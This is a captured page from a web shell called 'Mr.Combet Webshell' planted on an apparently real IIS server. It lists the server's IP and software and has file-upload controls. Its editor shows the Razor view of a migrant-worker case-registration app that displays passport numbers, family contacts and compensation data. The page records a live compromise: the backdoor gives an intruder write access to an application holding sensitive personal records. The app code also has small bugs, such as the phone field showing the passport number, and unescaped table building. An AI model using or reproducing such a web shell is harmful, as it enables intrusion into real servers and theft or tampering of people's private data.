Mr.Combet Webshell
Your IP :
216.73.216.136
Server IP :
103.233.58.157
Server :
Windows NT WIN-4PGF72KEHKB 10.0 build 17763 (Windows Server 2016) AMD64
Server Software :
Microsoft-IIS/10.0
PHP Version :
7.3.25
Add File :
Submit
Add Directory :
Submit
Dir :
C:
/
inetpub
/
wwwroot
/
VITA
/
Views
/
CaseRegistration
/
Edit File Name :
Details.cshtml
@model RER_Project.BusinessLayer.ViewModel.CaseRegistrationViewModel @using RER_Project.BusinessLayer.BusinessService @using RER_Project.Core.Helpers @{ ViewBag.Title = $"Case Registration Details of {Model.FnIncidentCaseRegistrationList.first_name}"; var meta = AppUserService.GetCurrent(); } <div class="wrapper wrapper-content animated"> <div class="row"> <div class="col-lg-12"> <div class="ibox float-e-margins"> <div class="ibox-content"> <ul class="nav nav-tabs"> <li class="active"><a href="#tab1" data-toggle="tab">Basic Information</a></li> <li><a href="#tab2" data-toggle="tab">Other Victims</a></li> <li><a href="#tab3" data-toggle="tab">Company and Migration Process Info</a></li> <li><a href="#tab4" data-toggle="tab">Incident Details and Offical Purpose</a></li> <li><a href="#tab5" data-toggle="tab">Case Status List</a></li> <li><a href="#tab6" data-toggle="tab">Compensation Info</a></li> </ul> <div class="tab-content"> <div class="tab-pane active" id="tab1"> <br /> <div class="row"> <div class="col-lg-4"> <span style="font-size:medium">Name : <strong> @Model.FnIncidentCaseRegistrationList.first_name </strong></span> </div> <div class="col-lg-4"> <span style="font-size:medium">Gender : <strong> @Model.FnIncidentCaseRegistrationList.gender</strong></span> </div> <div class="col-lg-4"> <span style="font-size:medium">District : <strong> @Model.FnIncidentCaseRegistrationList.district </strong></span> </div> </div> <br /> <div class="row"> <div class="col-lg-4"> <span style="font-size:medium">Municipality : <strong> @Model.FnIncidentCaseRegistrationList.municipality</strong></span> </div> <div class="col-lg-4"> <span style="font-size:medium">Ward : <strong> @Model.FnIncidentCaseRegistrationList.ward_no</strong></span> </div> <div class="col-lg-4"> <span style="font-size:medium">Settlement : <strong> @Model.FnIncidentCaseRegistrationList.settlement </strong></span> </div> </div> <br /> <div class="row"> <div class="col-lg-4"> <span style="font-size:medium">Phone No : <strong> @Model.FnIncidentCaseRegistrationList.passport_no</strong></span> </div> <div class="col-lg-4"> <span style="font-size:medium">Passport No : <strong> @Model.FnIncidentCaseRegistrationList.passport_no</strong></span> </div> </div> <br /> <h3><u>Family Member Information</u></h3> <br /> <div class="row"> <div class="col-lg-4"> <span style="font-size:medium">Family Contact Person : <strong> @Model.FnIncidentCaseRegistrationList.family_contact_person </strong></span> </div> <div class="col-lg-4"> <span style="font-size:medium">Family Member Relationship : <strong> @Model.FnIncidentCaseRegistrationList.family_member_relationship</strong></span> </div> <div class="col-lg-4"> <span style="font-size:medium">Family Member Contact Number : <strong> @Model.FnIncidentCaseRegistrationList.family_member_contact_no</strong></span> </div> </div> <br /> <h3><u>Destination Country Information</u></h3> <br /> <div class="row"> <div class="col-lg-4"> <span style="font-size:medium">Destination Country Contact Person : <strong> @Model.FnIncidentCaseRegistrationList.destination_country_contact_person </strong></span> </div> <div class="col-lg-4"> <span style="font-size:medium">Destination Country Person Relationship : <strong> @Model.FnIncidentCaseRegistrationList.destination_country_person_relationship</strong></span> </div> <div class="col-lg-4"> <span style="font-size:medium">Destination Country Person Contact No : <strong> @Model.FnIncidentCaseRegistrationList.destination_country_person_contact_no</strong></span> </div> </div> <br /> <div class="pull-right"> @if (Model.FnIncidentCaseRegistrationList.case_status_id == 1) { <a href="#" class="btn btn-primary" onclick="sendMrcMidForApproval('@Model.FnIncidentCaseRegistrationList.id')"><i class="" aria-hidden="true"></i> Forward For Approval</a> } <a href="/caseregistration" class="btn btn-default"> <i class="fa fa-arrow-circle-o-left" aria-hidden="true"></i> Back</a> </div> <a class="btn btn-primary btnNext"> Next <i class="fa fa-arrow-circle-o-right" aria-hidden="true"></i></a> </div> <div class="tab-pane" id="tab2"> <br /> <div class="table table-responsive table-striped table-hover table-bordered"> <table class="table table-striped" id="groupListTable"> <thead> <tr> <th>SN. </th> <th>Name</th> <th>Gender</th> <th>Province</th> <th>District</th> <th>Municipality</th> <th>Ward </th> <th>Settlement</th> <th>Phone No.</th> <th>Passport No.</th> </tr> </thead> <tbody> @{ int serialNo = 1; } @foreach (var item in Model.FnOtherVictimDetails) { <tr> <td> <label> @serialNo</label> @{ serialNo++; } </td> <td> @item.first_name @item.middle_name @item.last_name </td> <td> <span> @item.gender </span> </td> <td> @item.province </td> <td> @item.district </td> <td> @item.municipality </td> <td> @item.ward_no </td> <td> @item.settlement </td> <td> @item.phone_no </td> <td> @item.passport </td> </tr> } </table> </div> <a class="btn btn-primary btnPrevious"> <i class="fa fa-arrow-circle-o-left" aria-hidden="true"></i> Previous</a> <a class="btn btn-primary btnNext"> Next <i class="fa fa-arrow-circle-o-right" aria-hidden="true"></i></a> <div class="pull-right"> <a href="/caseregistration" class="btn btn-default"> <i class="fa fa-arrow-circle-o-left" aria-hidden="true"></i> Back</a> </div> </div> <div class="tab-pane" id="tab3"> <br /> <h3>Migration Process Information</h3> <br /> <div class="row"> <div class="col-lg-4"> <span style="font-size:medium">Destination Country : <strong> @Model.FnIncidentCaseRegistrationList.destination_country_contact_person </strong></span> </div> <div class="col-lg-4"> <span style="font-size:medium"> Departure Date : <strong> @if (Model.FnIncidentCaseRegistrationList.departure_date_nepali != "") { <span> @if (Model.FnIncidentCaseRegistrationList.incident_date_nepali != null) { @(Model.FnIncidentCaseRegistrationList.incident_date_nepali + "BS") } </span> } </strong> </span> </div> <div class="col-lg-4"> <span style="font-size:medium">Recruitment Agency Name: <strong> @Model.FnIncidentCaseRegistrationList.recruitment_agency</strong></span> </div> </div> <br /> <div class="row"> <div class="col-lg-4"> <span style="font-size:medium">Spend Cost : <strong> Rs. @Convert.ToDecimal(Model.FnIncidentCaseRegistrationList.spent_cost).ToString("#,##0.00") </strong></span> </div> <div class="col-lg-4"> <span style="font-size:medium"> Agent Name: <strong> @Model.FnIncidentCaseRegistrationList.agent_name</strong></span> </div> <div class="col-lg-4"> <span style="font-size:medium">Agent Phone No : <strong> @Model.FnIncidentCaseRegistrationList.agent_contact_no </strong></span> </div> </div> <br /> <div class="pull-right"> @if (Model.FnIncidentCaseRegistrationList.case_status_id == 1) { <a href="#" class="btn btn-primary" onclick="sendMrcMidForApproval('@Model.FnIncidentCaseRegistrationList.id')"><i class="" aria-hidden="true"></i> Forward For Approval</a> } <a href="/caseregistration" class="btn btn-default"> <i class="fa fa-arrow-circle-o-left" aria-hidden="true"></i> Back</a> </div> <a class="btn btn-primary btnPrevious"> <i class="fa fa-arrow-circle-o-left" aria-hidden="true"></i> Previous</a> <a class="btn btn-primary btnNext"> Next <i class="fa fa-arrow-circle-o-right" aria-hidden="true"></i></a> </div> <div id="tab4" class="tab-pane"> <br /> <div class="row"> <div class="col-lg-4"> <span style="font-size:medium">Type of Case : <strong> @Model.FnIncidentCaseRegistrationList.case_type </strong></span> </div> <div class="col-lg-4"> <span style="font-size:medium"> Incident Date: <strong> @if (Model.FnIncidentCaseRegistrationList.incident_date_nepali != null) { <span>@Model.FnIncidentCaseRegistrationList.incident_date_nepali BS</span> } </strong> </span> </div> </div> <br /> <div class="row"> <div class="col-lg-4"> <span style="font-size:medium">Case Details : @Model.FnIncidentCaseRegistrationList.case_detail </span> </div> </div> <br /> <a class="btn btn-primary btnPrevious"> <i class="fa fa-arrow-circle-o-left" aria-hidden="true"></i> Previous</a> <a class="btn btn-primary btnNext"> Next <i class="fa fa-arrow-circle-o-right" aria-hidden="true"></i></a> <div class="pull-right"> <a href="/caseregistration" class="btn btn-default"> <i class="fa fa-arrow-circle-o-left" aria-hidden="true"></i> Back</a> </div> </div> <div id="tab5" class="tab-pane"> <div class="row"> <div class="col-lg-12"> <br /> <div class="pull-left"> <h3><u>Case Status List</u></h3> </div> <div class="pull-right hide-case-button"> @if (meta.RoleId == (int)EnumRoleHelper.Roles.MRCMICCaseHandler || meta.RoleId == (int)EnumRoleHelper.Roles.MRC) { <a href="#" class="btn btn-primary" onclick="mrcMidGeneratedUpdateOfCases('@Model.FnIncidentCaseRegistrationList.id')"><i class="" aria-hidden="true"></i> Update case</a> } @if (meta.RoleId == (int)EnumRoleHelper.Roles.MRC) { <a href="#" class="btn btn-primary" onclick="closeMrcMidCloseCase('@Model.FnIncidentCaseRegistrationList.id')"><i class="" aria-hidden="true"></i> Close case</a> } </div> <div class="pull-right hide-open-case-registration"> @if (meta.RoleId == (int)EnumRoleHelper.Roles.Admin) { <a href="#" class="btn btn-primary" id="openClosedCase" onclick="openClosedCase()"><i class="" aria-hidden="true"></i> Open Closed Case</a> } </div> </div> </div> <table class="table table-bordered table-hover" name="tblIncidentCaseStatus" id="tblIncidentCaseStatus"> <thead> <tr> <th>Case Status</th> <th>Updated Date (BS)</th> @if (meta.RoleId == (int)EnumRoleHelper.Roles.Admin) { <th>Created On</th> } <th>Remarks By</th> <th>Remarks</th> </tr> </thead> <tbody id="tblIncidentCaseStatusBody"> </tbody> </table> <div class="pull-left"> <a class="btn btn-primary btnPrevious"> <i class="fa fa-arrow-circle-o-left" aria-hidden="true"></i> Previous</a> <a class="btn btn-primary btnNext"> Next <i class="fa fa-arrow-circle-o-right" aria-hidden="true"></i></a> </div> <div class="pull-right"> <a href="/caseregistration" class="btn btn-default"> <i class="fa fa-arrow-circle-o-left" aria-hidden="true"></i> Back</a> </div> <br /> <br /> </div> <div id="tab6" class="tab-pane"> <div class="row"> <div class="col-lg-12"> <br /> <div class="pull-left"> <h3><u>Case Compensation List</u></h3> </div> <div class="pull-right hide-case-button"> @if (meta.RoleId != (int)EnumRoleHelper.Roles.MRCMICCaseHandler) { <a href="#" class="btn btn-primary" onclick="updateMrcMidCompensation('@Model.FnIncidentCaseRegistrationList.id')"><i class="" aria-hidden="true"></i> Update Compensation</a> } </div> </div> </div> <table class="table table-bordered table-hover" name="tblIncidentCaseCompensationStatus" id="tblIncidentCaseCompensationStatus"> <thead> <tr> <th>Case No.</th> <th>FEB</th> <th>Manpower Company</th> <th>Agent</th> <th>Insurance Company</th> <th>Destination Country</th> <th>Medical Center</th> <th>Other</th> <th>Remarks</th> </tr> </thead> <tbody id="tblIncidentCaseCompensationStatusBody"> </tbody> </table> <div class="pull-left"> <a class="btn btn-primary btnPrevious"> <i class="fa fa-arrow-circle-o-left" aria-hidden="true"></i> Previous</a> </div> <div class="pull-right"> <a href="/caseregistration" class="btn btn-default"> <i class="fa fa-arrow-circle-o-left" aria-hidden="true"></i> Back</a> </div> <br /> <br /> </div> </div> </div> </div> </div> </div> <div class="modal inmodal" id="closePopUpModel" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content animated fadeIn"> <div class="modal-header" style="padding:8px"> <strong>Close this Case?</strong> <button type="button" class="close" data-dismiss="modal"><span aria-hidden="true">×</span><span class="sr-only">Close</span></button> </div> <div class="modal-body"> <form id="CloseCurrentCaseForm"> <p> <div class="row"> <input type="hidden" id="CloseId" name="Id" /> <input type="hidden" id="ClosedDateNepali" name="ClosedDateNepali" /> <input type="hidden" id="ClosedDate" name="ClosedDate" /> <input type="hidden" id="ClosedCaseRegistrationId" value="@Model.FnIncidentCaseRegistrationList.id" name="CaseRegistrationId" /> <div class="form-group col-md-12"> <label><strong>Closed Date: </strong></label> <input type="text" class=" form-control required" id="closedDateNepaliPicker" /> </div> <div class="form-group col-md-12"> <label for="title" style="display:block"><strong>Case Status : Closed</strong> </label> @* <select type="text" class="form-control required" name="CaseStatusTypeId" data-api-selected-value="4" id="CaseStatusTypeId" data-api="/case/status/select"></select>*@ </div> <div class="form-group col-md-12"> <label for="title" style="display:block"><strong>Remarks :</strong> </label> <textarea rows="4" style="width:100%;resize:none" class="form-control required" name="Remarks" id="ClosedRemarks"></textarea> </div> </div> </p> </form> </div> <div class="modal-footer"> <button type="button" class="btn btn-white" data-dismiss="modal">Close</button> <a href="#" onclick="closedCurrentStatusFormRegistrationForm()" id="ApproveBtn" class="btn btn-primary"><i class="fa fa-check"></i> Submit</a> </div> </div> </div> </div> <div class="modal inmodal" id="setStatusOfCaseModelForm" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content animated fadeIn"> <div class="modal-header" style="padding:8px"> <strong>Submit this Case?</strong> <button type="button" class="close" data-dismiss="modal"><span aria-hidden="true">×</span><span class="sr-only">Close</span></button> </div> <div class="modal-body"> <form id="SubmitCurrentCaseStatus"> <p> <div class="row"> <input type="hidden" id="CaseUpdateId" name="Id" /> <input type="hidden" id="CollectionDateNepali" name="CollectionDateNepali" /> <input type="hidden" id="CollectionDate" name="CollectionDate" /> <input type="hidden" id="CaseRegistrationId" value="@Model.FnIncidentCaseRegistrationList.id" name="CaseRegistrationId" /> <div class="form-group col-md-12"> <label><strong>Date</strong></label> <input type="text" class=" form-control required" id="collectionDatePicker" /> </div> <div class="form-group col-md-12"> <label for="title" style="display:block"><strong>Case Status :</strong> </label> <select type="text" class="form-control required" name="CaseStatusTypeId" id="CaseStatusTypeId" data-api="/case/status/select/without_close"></select> </div> <div class="form-group col-md-12"> <label for="title" style="display:block"><strong>Remarks :</strong> </label> <textarea rows="4" style="width:100%;resize:none" class="form-control required" name="Remarks" id="Remarks"></textarea> </div> </div> </p> </form> </div> <div class="modal-footer"> <button type="button" class="btn btn-white" data-dismiss="modal">Close</button> <a href="#" onclick="postCurrentStatusFormRegistrationForm()" id="ApproveBtn" class="btn btn-primary"><i class="fa fa-check"></i> Submit</a> </div> </div> </div> </div> <div class="modal inmodal custom-modal" style="height: 600px;overflow-y: auto;z-index: 14;margin-top:21px" id="updateCompensationCaseModelPopUpForm" tabindex="-1" data-toggle="modal" data-backdrop="static" data-keyboard="false" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content animated fadeIn"> <div class="modal-header" style="padding:8px"> <strong>Update Compensation Case?</strong> <button type="button" class="close" data-dismiss="modal"><span aria-hidden="true">×</span><span class="sr-only">Close</span></button> </div> <div class="modal-body"> <form id="SubmitUpdateCompensationCaseStatus"> <div class="row"> <input type="hidden" id="Id" name="Id" /> <input type="hidden" id="CompensationDateNepali" name="CompensationDateNepali" /> <input type="hidden" id="CompensationDate" name="CompensationDate" /> <input type="hidden" id="CaseRegistrationId" value="@Model.FnIncidentCaseRegistrationList.id" name="CaseRegistrationId" /> <div class="form-group col-md-12"> <label><strong>Updated Date: <span id="compensationDateNepaliPicker"></span></strong></label> @* <input type="text" class=" form-control required" id="collectionDatePicker" />*@ </div> <div class="form-group col-md-12"> <label for="title" style="display:block"><strong>Case Status : Update Compensation</strong> </label> @* <select type="text" class="form-control required" name="CaseStatusTypeId" data-api-selected-value="4" id="CaseStatusTypeId" data-api="/case/status/select"></select>*@ </div> <div class="form-group col-md-12"> <h4><u>Received Compensation From</u></h4> </div> <div class="form-group col-md-6"> <label for="title" style="display:block"><strong>FEB :</strong> </label> <div class="inputWithIcon"> <input type="text" class="curr form-control currencyFormatter" onkeypress="return isNumberKey(this,event)" maxlength="10" id="Feb" name="Feb"> <span><strong>Rs</strong></span> </div> </div> <div class="form-group col-md-6"> <label for="title" style="display:block"><strong>Manpower Company :</strong> </label> <div class="inputWithIcon"> <input type="text" class="curr form-control currencyFormatter" onkeypress="return isNumberKey(this,event)" maxlength="10" id="ManpowerCompany" name="ManpowerCompany"> <span><strong>Rs</strong></span> </div> </div> <div class="form-group col-md-6"> <label for="title" style="display:block"><strong>Agent :</strong> </label> <div class="inputWithIcon"> <input type="text" class="curr form-control currencyFormatter" onkeypress="return isNumberKey(this,event)" maxlength="10" id="Agent" name="Agent"> <span><strong>Rs</strong></span> </div> </div> <div class="form-group col-md-6"> <label for="title" style="display:block"><strong>Insurance Company :</strong> </label> <div class="inputWithIcon"> <input type="text" class="curr form-control currencyFormatter" onkeypress="return isNumberKey(this,event)" maxlength="10" id="InsuranceCompany" name="InsuranceCompany"> <span><strong>Rs</strong></span> </div> </div> <div class="form-group col-md-6"> <label for="title" style="display:block"><strong>Destination Country :</strong> </label> <div class="inputWithIcon"> <input type="text" class="curr form-control currencyFormatter" onkeypress="return isNumberKey(this,event)" maxlength="10" id="DestinationCountry" name="DestinationCountry"> <span><strong>Rs</strong></span> </div> </div> <div class="form-group col-md-6"> <label for="title" style="display:block"><strong>Medical Center :</strong> </label> <div class="inputWithIcon"> <input type="text" class="curr form-control currencyFormatter" onkeypress="return isNumberKey(this,event)" maxlength="10" id="MedicalCenter" name="MedicalCenter"> <span><strong>Rs</strong></span> </div> </div> <div class="form-group col-md-6"> <label for="title" style="display:block"><strong>Other :</strong> </label> <div class="inputWithIcon"> <input type="text" class="curr form-control currencyFormatter" onkeypress="return isNumberKey(this,event)" maxlength="10" id="Other" name="Other"> <span><strong>Rs</strong></span> </div> </div> <div class="form-group col-md-12"> <label for="title" style="display:block"><strong>Remarks :</strong> </label> <textarea rows="4" style="width:100%;resize:none" maxlength="255" class="form-control required" name="Remarks" id="RemarksOfCompensationCase"></textarea> <label id="characterLeft">255 </label> Characters Remaining </div> </div> </form> </div> <div class="modal-footer"> <button type="button" class="btn btn-white" data-dismiss="modal">Close</button> <a href="#" onclick="updateFormByMrcMid()" id="ApproveBtn" class="btn btn-primary"><i class="fa fa-check"></i> Submit</a> </div> </div> </div> </div> <div class="modal inmodal custom-modal" id="showCaseDetails" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content animated fadeIn"> <div class="modal-header" style="padding:8px"> <strong>Details </strong> <button type="button" onclick="closeDetailModelPopUp()" class="close" data-dismiss="modal"><span aria-hidden="true">×</span><span class="sr-only">Close</span></button> </div> <div class="modal-body"> <p> <div class="row"> <div class="form-group col-md-12"> <label for="title" style="display:block"><strong>Case Registration Id :</strong> <span id="caseRegistrationIdInDetailModel"></span> </label> </div> <div class="form-group col-md-6"> <label for="title" style="display:block"><strong>Case Status :</strong> <span id="caseStatusInDetailModel"></span> </label> </div> <div class="form-group col-md-6"> <label for="title" style="display:block"><strong>Closed Date :</strong> <span id="collectionDateInDetailModel"></span> </label> </div> <div id="closedId"> <div class="form-group col-md-6"> <label for="title" style="display:block"><strong>FEB :</strong><span id="febInDetailModel"></span> </label> </div> <div class="form-group col-md-6"> <label for="title" style="display:block"><strong>Manpower :</strong> <span id="manPowerInDetailModel"></span> </label> </div> <div class="form-group col-md-6"> <label for="title" style="display:block"><strong>Agent :</strong> <span id="agentInDetailModel"></span> </label> </div> <div class="form-group col-md-6"> <label for="title" style="display:block"><strong>Insurance Company :</strong> <span id="insuranceCompanyInDetailModel"></span> </label> </div> <div class="form-group col-md-6"> <label for="title" style="display:block"><strong>Destination Country :</strong> <span id="destinationCountryInDetailModel"></span> </label> </div> <div class="form-group col-md-6"> <label for="title" style="display:block"><strong>Medical Center :</strong> <span id="medicalCenterDetailModel"></span> </label> </div> <div class="form-group col-md-12"> <label for="title" style="display:block"><strong>Other :</strong><span id="otherDetailModel"></span> </label> </div> </div> <div id="exceptClosedId"> </div> <div class="form-group col-md-12"> <label for="title" style="display:block"><strong>Remarks :</strong> <span id="remarksDetailModel"></span> </label> </div> </div> </p> </div> <div class="modal-footer"> <button type="button" class="btn btn-white" data-dismiss="modal" onclick="closeDetailModelPopUp()">Close</button> </div> </div> </div> </div> </div> <script src="~/Scripts/jquery.min.js"></script> <script src="~/Scripts/NepaliDatePicker/jquery.nepaliDatePicker.min.js"></script> <link href="~/Content/NepaliDatePicker/nepaliDatePicker.min.css" rel="stylesheet" /> <script> $(document).ready(function () { var resultHasOneDropOut = false; var hasDrop = false; handleTextBoxCharacterCount(); //End Setup; $('.case_closed_message').hide(); window.initializeSelectApis(); initializeDatePicker(); loadCaseRegistrationRecord(); modelPopUpStyling(); $('.btnNext').click(function () { $('.nav-tabs > .active').next('li').find('a').trigger('click'); }); $('.btnPrevious').click(function () { $('.nav-tabs > .active').prev('li').find('a').trigger('click'); }); loadCompensationData(); }) function handleTextBoxCharacterCount() { var maxCharacters = 255; document.getElementById('RemarksOfCompensationCase').onkeyup = function() { document.getElementById('characterLeft').innerHTML = (maxCharacters - this.value.length); }; } function modelPopUpStyling(){ $(".modal-header").on("mousedown", function(mousedownEvt) { var $draggable = $(this); var x = mousedownEvt.pageX - $draggable.offset().left, y = mousedownEvt.pageY - $draggable.offset().top; $("body").on("mousemove.draggable", function(mousemoveEvt) { $draggable.closest(".modal-dialog").offset({ "left": mousemoveEvt.pageX - x, "top": mousemoveEvt.pageY - y }); }); $("body").one("mouseup", function() { $("body").off("mousemove.draggable"); }); $draggable.closest(".modal").one("bs.modal.hide", function() { $("body").off("mousemove.draggable"); }); }); } function initializeDatePicker() { var todayDate = new Date(); var todayNepaliDate = calendarFunctions.getBsDateByAdDate(todayDate.getFullYear(), todayDate.getMonth() + 1, todayDate.getDate()); var formatedTodayNepaliDate = calendarFunctions.bsDateFormat("%y-%M-%d", todayNepaliDate.bsYear, todayNepaliDate.bsMonth, todayNepaliDate.bsDate); //$("#closedDateNepaliPicker").text(formatedTodayNepaliDate); //$("#ClosedDateNepali").val(`${todayNepaliDate.bsYear}-${todayNepaliDate.bsMonth}-${todayNepaliDate.bsDate}`); // $("#ClosedDate").val(formatDate(todayDate)); $("#closedDateNepaliPicker").nepaliDatePicker({ dateFormat: "%y-%M-%d", closeOnDateSelect: true, maxDate: formatedTodayNepaliDate }); $("#closedDateNepaliPicker").on("dateSelect", function (event) { var datePickerData = event.datePickerData; $("#ClosedDate").val(datePickerData.adDate.toLocaleDateString()); $("#ClosedDateNepali").val(datePickerData.bsYear + "-" + datePickerData.bsMonth + "-" + datePickerData.bsDate); }); $("#compensationDateNepaliPicker").text(formatedTodayNepaliDate); $("#CompensationDateNepali").val(`${todayNepaliDate.bsYear}-${todayNepaliDate.bsMonth}-${todayNepaliDate.bsDate}`); $("#CompensationDate").val(formatDate(todayDate)); $("#collectionDatePicker").nepaliDatePicker({ dateFormat: "%y-%M-%d", closeOnDateSelect: true, maxDate: formatedTodayNepaliDate }); $("#collectionDatePicker").on("dateSelect", function (event) { var datePickerData = event.datePickerData; $("#CollectionDate").val(datePickerData.adDate.toLocaleDateString()); $("#CollectionDateNepali").val(datePickerData.bsYear + "-" + datePickerData.bsMonth + "-" + datePickerData.bsDate); }); } async function mrcMidGeneratedUpdateOfCases(id) { checkThisCaseHasDropOutOrSolved(); } function requestForSubmit() { const url = "/caseregistration/status/save"; var caseStatusId = $('#CaseStatusTypeId').val(); var remarks = $('#Remarks').val(); var collectionDate = $("#CollectionDate").val(); var collectionDateNepali = $("#CollectionDateNepali").val(); var id = $('#CaseUpdateId').val(); debugger; const data = JSON.stringify({ "CaseRegistrationId": '@Model.FnIncidentCaseRegistrationList.id', "Remarks": remarks, "CaseStatusId": caseStatusId, "Id": id, "CollectionDate": collectionDate, "CollectionDateNepali": collectionDateNepali }); return window.getAjaxRequest(url, "POST", data); } function postCurrentStatusFormRegistrationForm() { const form = $("#SubmitCurrentCaseStatus"); $.validator.unobtrusive.parse(form); if (!form.valid()) { return false; }; let conf = confirm(`Are you sure you want to Save this Information ?`); if (!conf) { return; } else { var ajax = requestForSubmit(); WorkForce.loader.show(); ajax.done(function (response) { WorkForce.loader.hide(); if (response) { $('#setStatusOfCaseModelForm').modal('hide'); ShowMessage("success", "Success."); loadCaseRegistrationRecord(); resetPopUpForm(); // window.location.href = "/caseregistration"; } else { ShowMessage("error", "Unable to Submit Current Case Registration Form Currently."); } }); ajax.fail(function (xhr) { WorkForce.loader.hide(); ShowMessage("Error", xhr.responseText); }); } } function closedCurrentStatusFormRegistrationForm() { const form = $("#CloseCurrentCaseForm"); $.validator.unobtrusive.parse(form); if (!form.valid()) { return false; }; let conf = confirm(`Are you sure you want to Close this Case ?`); if (!conf) { return; } else { var ajax = requestForClosingSubmit(); WorkForce.loader.show(); ajax.done(function (response) { WorkForce.loader.hide(); if (response) { $('#closePopUpModel').modal('hide'); ShowMessage("success", "Success."); loadCaseRegistrationRecord(); resetPopUpForm(); // window.location.href = "/caseregistration"; } else { ShowMessage("error", "Unable to Closed Case Registration Form Currently."); } }); ajax.fail(function (xhr) { WorkForce.loader.hide(); ShowMessage("Error", xhr.responseText); }); } } function requestForClosingSubmit() { const url = "/caseregistration/status/save"; var caseStatusId = 3; var remarks = $('#ClosedRemarks').val(); var collectionDate = $("#ClosedDate").val(); var collectionDateNepali = $("#ClosedDateNepali").val(); const data = JSON.stringify({ "CaseRegistrationId": '@Model.FnIncidentCaseRegistrationList.id', "Remarks": remarks, "CaseStatusId": caseStatusId, "Id": 0, "CollectionDate": collectionDate, "CollectionDateNepali": collectionDateNepali }); return window.getAjaxRequest(url, "POST", data); } function updateFormByMrcMid() { const form = $("#SubmitUpdateCompensationCaseStatus"); $.validator.unobtrusive.parse(form); if (!form.valid()) { return false; }; let conf = confirm(`Are you sure you want to Update this Case ?`); if (!conf) { return; } else { var ajax = requestForSubmitCompensation(); WorkForce.loader.show(); ajax.done(function (response) { WorkForce.loader.hide(); if (response) { $('#updateCompensationCaseModelPopUpForm').modal('hide'); ShowMessage("success", "Success."); loadCompensationData(); resetPopUpForm(); // window.location.href = "/caseregistration"; } else { ShowMessage("error", "Unable to Submit Current Case Registration Form Currently."); } }); ajax.fail(function (xhr) { WorkForce.loader.hide(); ShowMessage("Error", xhr.responseText); }); } } function requestForSubmitCompensation() { // const url = "/caseregistration/status/save"; const url = "/caseregistration/compensation/insert"; var remarks = $('#RemarksOfCompensationCase').val(); var feb = $("#Feb").val(); var manPowerCompany = $("#ManpowerCompany").val(); var agent = $("#Agent").val(); var insuranceCompany = $("#InsuranceCompany").val(); var destinationCountry = $("#DestinationCountry").val(); var medicalCenter = $("#MedicalCenter").val(); var other = $("#Other").val(); var id = $("#Id").val(); const data = JSON.stringify( { "CaseRegistrationId": '@Model.FnIncidentCaseRegistrationList.id', "Remarks": remarks, "Id": id, "Feb": removeCommaFromString(feb), "ManpowerCompany": removeCommaFromString(manPowerCompany), "Agent": removeCommaFromString(agent), "InsuranceCompany": removeCommaFromString(insuranceCompany), "DestinationCountry": removeCommaFromString(destinationCountry), "MedicalCenter": removeCommaFromString(medicalCenter), "Other": removeCommaFromString(other) }); debugger; return window.getAjaxRequest(url, "POST", data); } function resetPopUpForm() { $('#CaseStatusTypeId').val(''); $('#Remarks').val(''); $('#Id').val(''); $('#collectionDatePicker').val(''); $('#CollectionDate').val(''); $('#CollectionDateNepali').val(); } function loadCaseRegistrationRecord() { const ajax = request(); function request() { const url = '/caseregistration/history/' + @Model.FnIncidentCaseRegistrationList.id; return window.getAjaxRequest(url, "Get", @Model.FnIncidentCaseRegistrationList.id); } ajax.done(function (response) { console.log(response); addCaseRegistrationWorkFlowToTable(response); }); ajax.fail(function (xhr) { ShowMessage("error", xhr.responseText); }); } function addCaseRegistrationWorkFlowToTable(response) { $('#tblIncidentCaseStatus tbody > tr').remove(); var table = $("#tblIncidentCaseStatus tbody"); console.log(response); const allow_edit_delete = response.filter(function (x) { if (x.status === 'Solved and Closed' || x.status === 'Dropped and Closed') { return true; } }); if (allow_edit_delete.length > 0) { $('.hide-case-button').hide(); $('.show_hide_tbl_edit_delete').hide(); $('.case_closed_message').show(); } response.forEach(function (x) { if (x.status === 'Solved and Closed' || x.status === 'Dropped and Closed') { $('.hide-open-case-registration').show(); } var created_On_Date= new Date(x.created_on); var created_On_Date_Nepali = calendarFunctions.getBsDateByAdDate(created_On_Date.getFullYear(), created_On_Date.getMonth() + 1, created_On_Date.getDate()); //console.log(todayNepaliDate) var row = "<tr>"; row += "<td>" + x.status + "</td>"; row += `<td>${x.collection_date_nepali||""} BS</td>`; row += @meta.RoleId == 1 ? `<td>${created_On_Date_Nepali.bsYear}-${created_On_Date_Nepali.bsMonth}-${created_On_Date_Nepali.bsDate} BS</td>` : ''; row += "<td>" + x.created_by + "</td>"; row += "<td>" + x.remarks + "</td>"; //if (allow_edit_delete.length == 0) { // row += "<td>" + "<a class='btn btn-default btn-xs ' style='color:dodgerblue' onclick=editCurrentCaseStatus(" + x.id + ") ><i class='fa fa-edit'></i></a>" + // " <a class='btn btn-default btn-xs ' style='color:dodgerblue' onclick=deleteCurrentCaseRegistrationRecord(" + x.id + ") ><i class='fa fa-trash'></i ></a>"; //} //else { // row += "<td></td >"; // //"<a class='btn btn-default btn-xs' style='color:dodgerblue' onclick=showClickedCaseStatus(" + x.id + ")><i class='fa fa-eye'></i ></a> "+ //} table.append(row); }) } function showClickedCaseStatus(id){ const ajax = request(id); function request(id) { const url = '/caseregistration/case/process/details/' + id; return window.getAjaxRequest(url, "Get", id); } ajax.done(function (response) { $('#showCaseDetails').show(); console.log(response); if (response.CaseStatus === 'Closed') { $('#closedId').show(); $('#exceptClosedId').hide(); $('#caseRegistrationIdInDetailModel').text(response.CaseRegistrationId); $('#caseStatusInDetailModel').text(response.CaseStatus); $('#collectionDateInDetailModel').text(response.CollectionDateNepali + " BS"); $('#febInDetailModel').text('Rs. '+ getNumberWithComma(response.feb)); $('#manPowerInDetailModel').text('Rs. ' + getNumberWithComma(response.ManpowerCompany)); $('#agentInDetailModel').text('Rs. ' +getNumberWithComma(response.Agent)); $('#insuranceCompanyInDetailModel').text('Rs. ' + getNumberWithComma(response.InsuranceCompany)); $('#destinationCountryInDetailModel').text('Rs. ' + getNumberWithComma(response.DestinationCountry)); $('#medicalCenterDetailModel').text('Rs. ' + getNumberWithComma(response.MedicalCenter)); $('#otherDetailModel').text( 'Rs. ' + getNumberWithComma(response.Other)); $('#remarksDetailModel').text(response.Remarks); } else { $('#closedId').hide(); $('#exceptClosedId').show(); $('#caseRegistrationIdInDetailModel').text(response.CaseRegistrationId); 